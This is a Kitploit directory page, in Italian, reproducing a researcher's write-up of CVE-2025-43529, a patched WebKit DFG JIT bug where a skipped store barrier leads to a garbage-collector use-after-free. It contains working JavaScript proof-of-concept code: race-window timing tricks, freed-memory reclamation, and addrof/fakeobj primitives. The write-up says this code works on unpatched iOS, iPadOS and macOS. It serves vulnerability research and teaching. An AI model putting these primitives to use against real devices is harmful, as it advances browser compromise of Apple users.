Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-43529 — exploit per cve-2025-43529 | Kitploit
Strumenti/GitHubGitHub/jir4vv1t/cve-2025-43529
Memory ForensicsAnalisi delle VulnerabilitàExploitReverse EngineeringSicurezza WebBinary Exploitation
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

exploit per cve-2025-43529

Vedi Repository
85117 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-43529

TL; DR

Apple ha recentemente pubblicato iOS 26.2 e iPadOS 26.2, insieme a un bollettino di sicurezza che include correzioni per vulnerabilità di WebKit. Un bug nel compilatore DFG JIT (CVE-2025-43529) mi ha colpito, quindi ho deciso di approfondirlo.

Il compilatore JIT ha riconosciuto correttamente che un nodo Phi (dove più percorsi di controllo confluiscono) era sfuggito (escaped), ma non è riuscito a notare che anche i nodi Upsilon del Phi erano sfuggiti. Per questo motivo, la compilazione DFG StoreBarrierInsertionPhase ha saltato l'inserimento di una Store Barrier, un meccanismo chiave per la sicurezza della memoria. Di conseguenza, il GC concorrente può perdere oggetti che avrebbe dovuto scansionare, il che può portare a un use-after-free.

Puoi trovare il commit della patch qui.

Ho confermato che il mio exploit funziona su iOS 26.1, iPadOS 26.1 e macOS Tahoe 26.0.1.

Background

Generational GC

JSC utilizza un modello di GC generazionale per gestire l'heap in modo efficiente. In questo modello, la memoria è suddivisa in Eden (nuovo spazio) e old space (vecchio spazio) in base all'età degli oggetti. Tutti gli oggetti appena allocati iniziano in Eden. Quando Eden si riempie, viene attivato un GC di Eden e qualsiasi oggetto sopravvissuto viene promosso a old space. La pulizia degli oggetti in old space richiede un GC completo.

Affinché il GC generazionale funzioni, il GC deve classificare gli oggetti come "già scansionati", "da scansionare" o "da riscansionare". In JSC, questo viene tracciato utilizzando il cellState di un oggetto. (Tutti gli oggetti gestiti dal GC ereditano da JSCell.)

root@kitploit:~
StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState è 1 byte e può essere uno di tre colori: Black (0), White (1) e Grey (2).

White indica un oggetto appena allocato in eden. Nel ciclo GC corrente, non è ancora stato marcato. Se rimane in questo stato fino alla fine del ciclo GC, l'oggetto verrà raccolto.

Black significa che il GC ha già terminato di marcare l'oggetto o lo sta marcando in questo momento. È sostanzialmente considerato vivo, anche se il bit isMarked potrebbe essere ancora disattivato.

Grey indica un oggetto che deve ancora essere scansionato. Più precisamente, era originariamente Black, ma è stato intercettato dalla write barrier e aggiunto al remembered set. In altre parole, i suoi riferimenti sono cambiati, quindi il GC deve riscansionarlo.

Concurrent GC

JSC ha anche il Concurrent GC (GC concorrente), che consente all'applicazione di continuare a girare mentre la memoria viene recuperata. Se il GC sta marcando un oggetto in background e l'applicazione modifica lo stato di quell'oggetto nello stesso momento, può verificarsi una race condition.

Per prevenire ciò, sono necessarie garanzie di ordinamento. Come "scrivi (store) A, poi leggi (load) B" che avvengono in questo esatto ordine. Ma su ARM64, per motivi di prestazioni, la CPU può riordinare le operazioni di memoria. Ciò significa che il GC potrebbe leggere un valore errato.

Quindi JSC utilizza una classe di dipendenza per fare affidamento sulle dipendenze dati della CPU oppure utilizza speciali istruzioni ARM64 come STLR e LDAR per imporre l'ordinamento. STLR garantisce che letture/scritture precedenti diventino visibili prima dello store (un release store). LDAR garantisce che letture/scritture successive non possano anticipare il load (un acquire load). Quando un altro thread legge un oggetto, LDAR è accoppiato a STLR per poter osservare in modo sicuro i dati più recenti.

DMB non è una singola istruzione speciale per un singolo accesso. È una barriera che impone l'ordinamento tra tutti gli accessi di memoria circostanti. Garantisce che le operazioni di memoria prima del DMB diventino visibili prima delle operazioni successive.

JSC JIT

JSC ha in totale tre livelli JIT. Per bilanciare la velocità di esecuzione con il costo di compilazione (memoria/tempo), applica ottimizzazioni e sposta il codice al livello successivo in base alla frequenza di esecuzione.

  • Tier 1: Baseline JIT
  • Tier 2: DFG JIT
  • Tier 3: FTL JIT

Baseline JIT è il primo compilatore JIT. Si concentra sull'arrivare rapidamente al codice nativo con un basso overhead di compilazione. DFG JIT è lo stadio successivo a Baseline JIT, dove iniziano le ottimizzazioni serie.

Al livello DFG, le istruzioni JavaScript vengono convertite in un grafo composto da nodi IR DFG. Utilizzando le informazioni sui tipi che raccoglie, il compilatore esegue speculazioni per rimuovere operazioni non necessarie. Nella pipeline di ottimizzazione DFG di JSC, la StoreBarrierInsertionPhase inserisce una StoreBarrier dopo i nodi che scrivono in memoria, come PutByOffset. CVE-2025-43529 è una vulnerabilità causata dal mancato inserimento di una StoreBarrier quando avrebbe dovuto essere inserita durante StoreBarrierInsertionPhase.

Una StoreBarrier è un nodo che funge da write barrier. Viene utilizzata per preservare la correttezza nelle race condition con il thread di marcatura.

Trigger Bug

Lo scenario del nodo DFG vulnerabile descritto nel commit della patch è il seguente:

root@kitploit:~
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

In BB#1, vengono creati due nuovi oggetti e l'esecuzione si dirama verso BB#2 o BB#3. BB#2 poi ricade in BB#3. La parte interessante in BB#3 è il nodo Phi. Significa che f è o c o e, e la scelta è determinata dai nodi Upsilon a monte. In BB#3, PutByOffset significa aggiungere un valore a una proprietà di un oggetto.

PoC semplificato

root@kitploit:~
let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

Se usi l'opzione --dumpFTLDisassembly=true, puoi ispezionare l'assembly dopo la compilazione FTL.

root@kitploit:~
// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier for D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)

A causa del bug, la StoreBarrier per b non è stata emessa.

L'oggetto A vive in old space. Nel primo PutByOffset (A.p0 = f), il vecchio oggetto A finisce per puntare al nuovo oggetto f. Ciò significa che il thread di marcatura può raggiungere f tramite A in qualsiasi momento dopo quello store. Quindi, se successivamente modifichi le proprietà di f, deve essere inserita una StoreBarrier.

f (il nodo Phi) è trattato come "escaping", ma gli input reali che possono confluire in f (tramite Upsilon: b e d) non sono marcati come escaping. Logicamente, se f viene memorizzato in A, allora qualsiasi oggetto che potrebbe diventare f, incluso b, viene effettivamente memorizzato in A. Ma a causa del bug, il compilatore non lo capisce, quindi pensa ancora che b sia un valore "sicuro" non-escaping che il GC non dovrà scansionare, e finisce per saltare la StoreBarrier.

Race condition

Per innescare l'use-after-free, devi vincere una race tra il thread principale e il thread di marcatura. Lo scenario è il seguente:

  1. Marcatura concorrente (thread di marcatura): Il thread di marcatura raggiunge b camminando dall'oggetto in old space A, e marca sia A che b come neri.

  2. Aggiornamento del riferimento (thread principale): Il thread principale esegue b.p0 = a. A questo punto, a è un oggetto Eden che non è stato ancora marcato, quindi è ancora White. Questo crea un oggetto Black che punta a un oggetto White.

  3. Store barrier mancante: Normalmente, b dovrebbe essere aggiunto al remembered set. Ma poiché la store barrier viene saltata a causa del bug, il GC non viene mai a sapere che b ora punta a a. Il ciclo GC continua e se nessun altro riferimento punta a a, rimane White per tutto il tempo e finisce per essere liberato.

  4. Fine del ciclo GC: Dopodiché, leggere b.p0 può toccare memoria liberata, il che può portare a un use-after-free.

Race window

La parte più difficile nello sfruttare una race condition è centrare la finestra di race. Gli oggetti A e b devono essere marcati nello stesso ciclo GC. Per allineare i tempi tra il thread principale e il thread di marcatura, ho usato tre tecniche.

root@kitploit:~
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;

let A = {
    p0: 0x41414141,
    p1: 1.1,
    p2: 2.2,
};
arr[arr_index] = A;

Prima di tutto, per proteggere la finestra di timing fino all'inizio della scansione di A, devi far visitare alcuni figli al GC: ho reso arr grande e ho posizionato A all'ultimo indice. Una cosa da tenere d'occhio qui è che A deve vivere in old space.

root@kitploit:~
let forGC = [];

let a = new Date(1);
a[0] = 1.1;

for (let j = 0; j < allocCount; ++j) {
    let arr = new ArrayBuffer(0x80_0000);
    forGC.push(arr);
}
A.p2 = forGC;

Secondo, scansionare A in old space richiede l'attivazione di un GC completo. Per farlo, devi allocare abbastanza oggetti grandi in quantità sufficiente. Per rendere l'attivazione del GC abbastanza consistente, ho mantenuto il riferimento degli oggetti allocati, così non vengono ottimizzati via come "non usati": li ho memorizzati in A.p2.

root@kitploit:~
A.p1 = f;

let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
    for (let j = 0; j < k; ++j) {
        v = i;
        v = j;
    }
}

b.p0 = v;
b.p1 = a;

Terzo, una volta attivato un GC completo, se riesci a ritardare la marcatura di A usando un array sufficientemente grande, il thread principale ha comunque bisogno che la marcatura di A finisca appena prima di aggiungere un riferimento a a in b. Per forzare questo timing, ho aggiunto un grande loop. E per evitare che il loop venga ottimizzato via, ho memorizzato il valore finale in b.p0.

Exploitation

Recuperare la butterfly

Dopo che un ciclo GC termina, puoi osservare che quando un MarkedBlock che contiene oggetti liberati viene riutilizzato, gli oggetti in quel blocco che non erano marcati vengono spazzati via (swept). In JSC, il meccanismo di sweep rende tutto o parte di un MarkedBlock disponibile per successive allocazioni. L'indirizzo dell'oggetto liberato diventa riutilizzabile dall'allocatore solo dopo che questo accade.

root@kitploit:~
reclaimed = false;

for (let i = 0; i < 1e6; ++i) {
    let arr = [13.37, 2.2, 3.3, 4.4, noCow];
    ref.push(arr);
    if (freed_object[0] === 13.37) { 
        reclaimed = true;
        break;
    }
}

if (!reclaimed) {
    print('failed');
}

Dopo la race, il loop alloca ripetutamente array di lunghezza 5 per favorire il recupero della butterfly spazzata via. Se la butterfly viene riallocata, puoi rilevarlo leggendo le proprietà indicizzate di un oggetto che condivide lo stesso indirizzo di butterfly.

Internamente, la creazione di arr chiama JSC::constructArrayBuffer, che attiva MarkedBlock::Handle::specializedSweep. È qui che la FreeList per il blocco contenente la butterfly viene inizialmente costruita.

root@kitploit:~
void MarkedBlock::Handle::specializedSweep(...)
{
    // ... 
    if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
        // ...
        if (sweepMode == SweepToFreeList) {
            if (scribbleMode == Scribble) [[unlikely]]
                scribble(payloadBegin, payloadEnd - payloadBegin);
            FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
            interval->makeLast(payloadEnd - payloadBegin, secret);
            freeList->initialize(interval, secret, payloadEnd - payloadBegin);
        }
        return;
    }
    // ...
}

Con il PoC, se lo sweep viene eseguito sul blocco che contiene la butterfly dopo la race, emptyMode, marksMode e newlyAllocatedMode diventano rispettivamente IsEmpty, MarksStale e DoesNotHaveNewlyAllocated, quindi l'esecuzione entra nell'istruzione if qui sopra.

Con uno sweep normale dovresti costruire la free list in frammenti, ma qui l'intero blocco è vuoto, quindi la free list viene inizializzata come un unico grande intervallo che copre l'intero blocco. La struttura freeList è molto semplice. Fondamentalmente tiene traccia solo dell'inizio e della fine del chunk e della sua dimensione.

A questo punto, la freeList contiene un intero blocco che include il puntatore alla butterfly.

root@kitploit:~
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
    if (m_intervalStart < m_intervalEnd) [[likely]] {
        char* result = m_intervalStart;
        m_intervalStart += cellSize;
        return std::bit_cast<HeapCell*>(result);
    }
    // ...
}

Le allocazioni da una freeList sono gestite da FreeList::allocateWithCellSize. Se m_intervalStart e m_intervalEnd non sono uguali, l'allocatore considera l'intervallo come avente celle libere disponibili, restituisce il puntatore di inizio corrente come indirizzo del nuovo oggetto, e poi avanza il puntatore di inizio di cellSize.

Questa funzione viene chiamata da JSC::constructArray e viene eseguita ripetutamente all'interno del loop. Alla fine, un array appena allocato finisce per usare l'indirizzo della butterfly liberata per la sua butterfly.

Spazzare via la Garbage

Ci sono diverse ragioni per cui un exploit può fallire, ma un miglioramento facile è sbarazzarsi del puntatore alla butterfly che rimane sullo stack.

Durante l'allocazione della butterfly, il puntatore allocato viene scritto ripetutamente sullo stack. Se quel puntatore rimane ancora lì anche dopo aver chiamato la funzione che innesca l'use-after-free, la scansione conservativa dello stack da parte del GC può raccoglierlo e marcarlo, il che impedisce che venga liberato e finisce per "proteggerlo" come al solito.

Nel PoC, questo è stato risolto chiamando una funzione che crea un gran numero di stack frame.

root@kitploit:~
function recursive(n) {
    if (n === 0) 
        return;
    n = n | 0;
    recursive(n - 1);  
}

recursive(10000);

Chiamando la funzione ricorsiva, il thread principale riempie il suo spazio di stack con frame di funzione, sovrascrivendo tutti gli indirizzi di butterfly rimasti con altri valori. Dopodiché, il puntatore alla butterfly ha meno probabilità di essere trovato durante la scansione dello stack, il che aumenta le possibilità che il GC non scansiona quella butterfly.

Costruire le primitive

root@kitploit:~
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;

function addrof(obj) {
    boxed_arr[0] = obj;
    return ftoi(unboxed_arr[0]);
}

function fakeobj(addr) {
    unboxed_arr[0] = itof(addr);
    return boxed_arr[0];
}

Con l'use-after-free, puoi avere la stessa butterfly sia nell'oggetto liberato a che nell'array appena allocato. Poi, facendo usare ai due oggetti diversi IndexingType, puoi accedere ai valori in questa singola butterfly sia come Double che come Contiguous. Questo porta direttamente alle classiche primitive addrof e fakeobj.

Passi successivi

Se sei riuscito a costruire le primitive addrof/fakeobj, puoi costruire facilmente primitive di lettura/scrittura. Ma per ottenere l'esecuzione di codice, devi comunque bypassare l'autenticazione dei puntatori. Questa parte è lasciata come sfida.

Riferimenti

  • Comprendere la Garbage Collection in JavaScriptCore da zero
  • Informazioni sui contenuti di sicurezza di iOS 26.2 e iPadOS 26.2
Scarica lo strumento